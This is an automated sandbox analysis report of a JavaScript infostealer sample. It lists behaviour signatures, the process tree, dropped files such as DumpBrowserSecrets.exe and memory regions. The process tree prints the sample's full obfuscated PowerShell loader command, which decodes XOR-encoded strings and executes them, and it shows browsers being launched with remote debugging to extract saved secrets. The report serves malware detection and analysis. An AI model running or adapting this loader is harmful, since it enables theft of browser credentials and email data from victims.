Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/07/2026, 12:45

General

  • Target
    _8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426.js
  • Size 41KB
  • Sample260707-pzkvmsas21
  • SHA256 8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\_8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426.js
    1⤵
      PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$j=47-27;$vv7b3x='eBKx4gd6qz';$defUtwKo='c2e2b2a6ffbfbab188bcaa8d91f2b39eabffb4beab9bc1e193c795d2bea4e1bb84a0e8a4adf98bbfa686959fffa3affbbea292d2db81fbaebbeeb2a4b6b893bdeaa2adf3b7f0f2c8ba9cfbb9e0cfbeb3ba9a88a6e79dbcf3afbfac878d86e7bdabc1e1ea9b8492e3acc0c4b8b9e6fbd5c6b6c683befeb6b3a8bdd2bee4a989caaf9fb6aad0b1aca1bbc6a2929b8db99cae9799acae85a2be8cb0d99ba4f89cbcb98a8ba1f9ae86cab2b288848b9bd983bdc5839eb5a1a790f19499a9ebb2fdd9a98bc69fa2f9e892feb18caaee94b7dea1b488aed1b3c980a9cd839eb5b2b6e3f7af86f7bc8488d18988db8bb4ffe986bbb18caaab8689d6eeb488be838acd8fa0d783a48d8bd29cf2af99d6a8b59caa8e82cb8bb4ffe986bbb18caaab81a5f8b7b48abed588c983fff89cbcbab2d194e4aefccaaf89a290d499dda6f9d59cbca2a3a6b5f9849aadaeb498909299c6b9f7d5939aa38ca984e7afa7de99b387aaa4b0acfca6fd8ce4bab9d284e7aea3caaeb48aba97b0c98bbefeb2e5828ad394f58689ffab9ffcd9d8f593c78ff8bffd9b9191b7bee09ae5abb58b8d87bbf0a4baf5b4beefc0ba86fbb5bab29ebeac8785bbf0aa93a6e1859baed9fcd9a8bacfafa2a68686fac58ea1f2adb5bd9cbce8a48bbcf3b692ae9b84e4aa9ebaeeb2bea8c0c5b0a8f9e7b5f2ddc58e94bcfdb9a7f3b5f0abc0c5beb7b6eaebe69eaa9fcc9dfca7abffaff0818d95fcc9a8acdfb7b9aa8695e9b68aabe8f682ae8685bdf3edeaf0fbfd8c8794bceaedeaf0f593a09d8fa6b7b1ebe7afa2b69393b7eab8bcf2fbf4b8c6a5bde9a3a2f3bab48b8995b3b6e991b5a6b3ae9c82bae5b0b3e1d6daa99d8fb1eaa4a1f2fbb9e7cc80febab9e2b8b6fceb98dc92b6e4e7e7ffa9f2b3b1baffa3baf3b697ae9c848fa4f782f3bab48e9b92b7f3afa2e5f3';$bKaFXKvhW='FHY3FkVADEddAXdyankYQlQQDAZMKGUJPhx3FkhDfnZzSEEfVBIEC0RqJQkPDxURCmhVY1NIFVpeBwwLXTs2djNXVw9BTER+cUNPcFgNQEZecFhBAFVCPgN/RXVyRAIefwxKf0V1ckQCHmIXRVtZdDJkD0FFAkpMVTA3BFoWXl5NSRg2OkNPe0IwUE5Efn0EGmlwAFBGRnZqQhNvC1lnXVV2akgoXEIXRUFTcjYJExtMWABBHl5wWw5ZVEsAQBwzbgQcPztuLgtbKl4FSRVZF1BfCjgxRhtTUE1HQB5tfwJQHFsTQwgZOzYKCUZFE1cVHzgvHVYcAFQXAQIwPgZBFQNUChYJOHdABh0ATU5fVzA3BGw4WAUMBxRwI0lBFlpKCU5eczYJFQ9qN0FXRDlbQwJdVQpKSG0tJHg1dAlNY0pERGpfCFxWSwBIGT4zQABGUgsDEwxESmxGEhpDA31kKSAFTxgOShgTdVlaE18VGBgpJRA3OkoGVBFeBAhHdmwCWHMHOl1uZSUxXRFTHxpCSkRkf11OHQsQQ1xWfHlLCVRCBVdLFzclDUVVVgUEEhAzeUoHHGIWRlxEZXdDBhoBTwQLV3B4Ay1XXwRQRxA6PhxTGzxpAEMQKj4KURURWCklEDc+DQgSGThnQF5he18VbwtZYl1felxMElcHV3dbQn5wSkkWfAJQTFhybXZQbxhKBAhdbm5fDlVDAkkBeHhzSARBFkMDXUV5bV5GEnFLAEhXcTINRV4dQwMIHDc5fwRVcBBJCBw3ORxGEh1DA1cIITkEbDgRQwQPd3JqADFAXgBBXENrbUITRhEgdHoQOnpIElFNEEFDVXRqDUxUWBFXWxAiYksVEn8CSUocVE54QU88aSklEDc+DUESEUMEDw==';$oFXwFdVu=0xA058-0x4EC2;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0xAA)};$dp3cCaZ=$xXOdqH;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0x55)};$gs5aPssk=$xXOdqH;$r='';$i=0;for($j=0;$j-lt$defUtwKo.Length;$j+=2){$r+=[char](([Convert]::ToInt32($defUtwKo.Substring($j,2),16))-bxor$dp3cCaZ[$i++%$dp3cCaZ.Length])};$hnOyWC=$r;$b=[Convert]::FromBase64String($bKaFXKvhW);$r='';$i=0;for($j=0;$j-lt$b.Length;$j++){$r+=[char]($b[$j]-bxor$gs5aPssk[$i++%$gs5aPssk.Length])};$d3TqIe7UC=$r;$suinXPc=$hnOyWC+$d3TqIe7UC;.($env:ComSpec[4,26,25]-join'') $suinXPc"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4052
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dbhffxp4\dbhffxp4.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2408
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2F48.tmp" "c:\Users\Admin\AppData\Local\Temp\dbhffxp4\CSC79966E80981B4EBFB48B9AACD52058A7.TMP"
          3⤵
            PID:1084
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:1972
          • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
            "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1100
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
              4⤵
              • Uses browser remote debugging
              • Loads dropped DLL
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4408
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome4408240668859 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome4408240668859\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome4408240668859 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x1d0,0x1d4,0x1d8,0x1ac,0x1dc,0x7ffa306ec728,0x7ffa306ec734,0x7ffa306ec740
                5⤵
                  PID:636
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
                4⤵
                • Uses browser remote debugging
                • Loads dropped DLL
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4580
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4580240669156 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4580240669156\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x324,0x328,0x32c,0x320,0x368,0x7ffa3032c188,0x7ffa3032c194,0x7ffa3032c1a0
                  5⤵
                    PID:832
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:4956
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:3580
              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                1⤵
                  PID:4440

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      ChromeData.json

                      • Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
                      • Size 676B
                      • SHA256 463818a9c4df885aa41b9ff7179c5decf41bb3aa862c1026b863000ca5fbcbf2
                      • MD5 SHA1 SHA512 TLSH

                      DllExtractChromiumSecrets.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
                      • Size 45KB
                      • SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      DumpBrowserSecrets.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
                      • Size 381KB
                      • SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      EdgeData.json

                      • Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
                      • Size 258B
                      • SHA256 a85ec80fed1482d99035cae592d6bbe1ee47579d1b268fabc8ba22dcebb65574
                      • MD5 SHA1 SHA512 TLSH

                      settings.dat

                      • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4580240669156\Crashpad\settings.dat
                      • Size 280B
                      • SHA256 7c9a4dabe855079adaadb2dfcd79b62f64a83c07748bc35ed328e4f50b0296d5
                      • MD5 SHA1 SHA512

                      throttle_store.dat

                      • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4580240669156\Crashpad\throttle_store.dat
                      • Size 20B
                      • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                      • MD5 SHA1 SHA512

                      RES2F48.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\RES2F48.tmp
                      • Size 1KB
                      • SHA256 eaf895e4f92f7b18bc4158d16751180a25d4cc4da90d40125de57a39d5177a36
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_qcab0a50.3az.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qcab0a50.3az.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      dbhffxp4.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\dbhffxp4\dbhffxp4.dll
                      • Size 3KB
                      • SHA256 bf494d006f0f75d5de3eabefe647ee3f541fe248a98158fcd3628224c38e09b3
                      • MD5 SHA1 SHA512 TLSH

                      CSC79966E80981B4EBFB48B9AACD52058A7.TMP

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dbhffxp4\CSC79966E80981B4EBFB48B9AACD52058A7.TMP
                      • Size 652B
                      • SHA256 bf99553ba713a6ba2e8c634846dd5b46225c94ecd2ba88c97ad88ff22f0934ba
                      • MD5 SHA1 SHA512 TLSH

                      dbhffxp4.0.cs

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dbhffxp4\dbhffxp4.0.cs
                      • Size 213B
                      • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                      • MD5 SHA1 SHA512 TLSH

                      dbhffxp4.cmdline

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dbhffxp4\dbhffxp4.cmdline
                      • Size 369B
                      • SHA256 a8abc91b68090da55b539dbc67cba943a026ca24ab68ff6ebb96a82a94292f63
                      • MD5 SHA1 SHA512 TLSH

                      memory/1972-81-0x0000000006790000-0x0000000006CBC000-memory.dmp

                      memory/1972-83-0x00000000062E0000-0x0000000006356000-memory.dmp

                      memory/1972-29-0x0000000005810000-0x0000000005DB4000-memory.dmp

                      memory/1972-30-0x0000000005350000-0x00000000053B6000-memory.dmp

                      memory/1972-135-0x0000000007960000-0x000000000796A000-memory.dmp

                      memory/1972-134-0x0000000007990000-0x0000000007A22000-memory.dmp

                      memory/1972-101-0x0000000007780000-0x0000000007792000-memory.dmp

                      memory/1972-26-0x00000000000C0000-0x0000000000180000-memory.dmp

                      memory/1972-79-0x0000000006090000-0x0000000006252000-memory.dmp

                      memory/4052-9-0x000001FCB4D30000-0x000001FCB4D40000-memory.dmp

                      memory/4052-0-0x000001FCB4D30000-0x000001FCB4D40000-memory.dmp

                      memory/4052-22-0x000001FC9AF00000-0x000001FC9AF08000-memory.dmp

                      memory/4052-8-0x000001FCB6F20000-0x000001FCB6F42000-memory.dmp

                      memory/4052-23-0x000001FCB46E0000-0x000001FCB46FA000-memory.dmp

                      memory/4052-24-0x000001FCB4D30000-0x000001FCB4D40000-memory.dmp

                      memory/4052-25-0x000001FCB4D30000-0x000001FCB4D40000-memory.dmp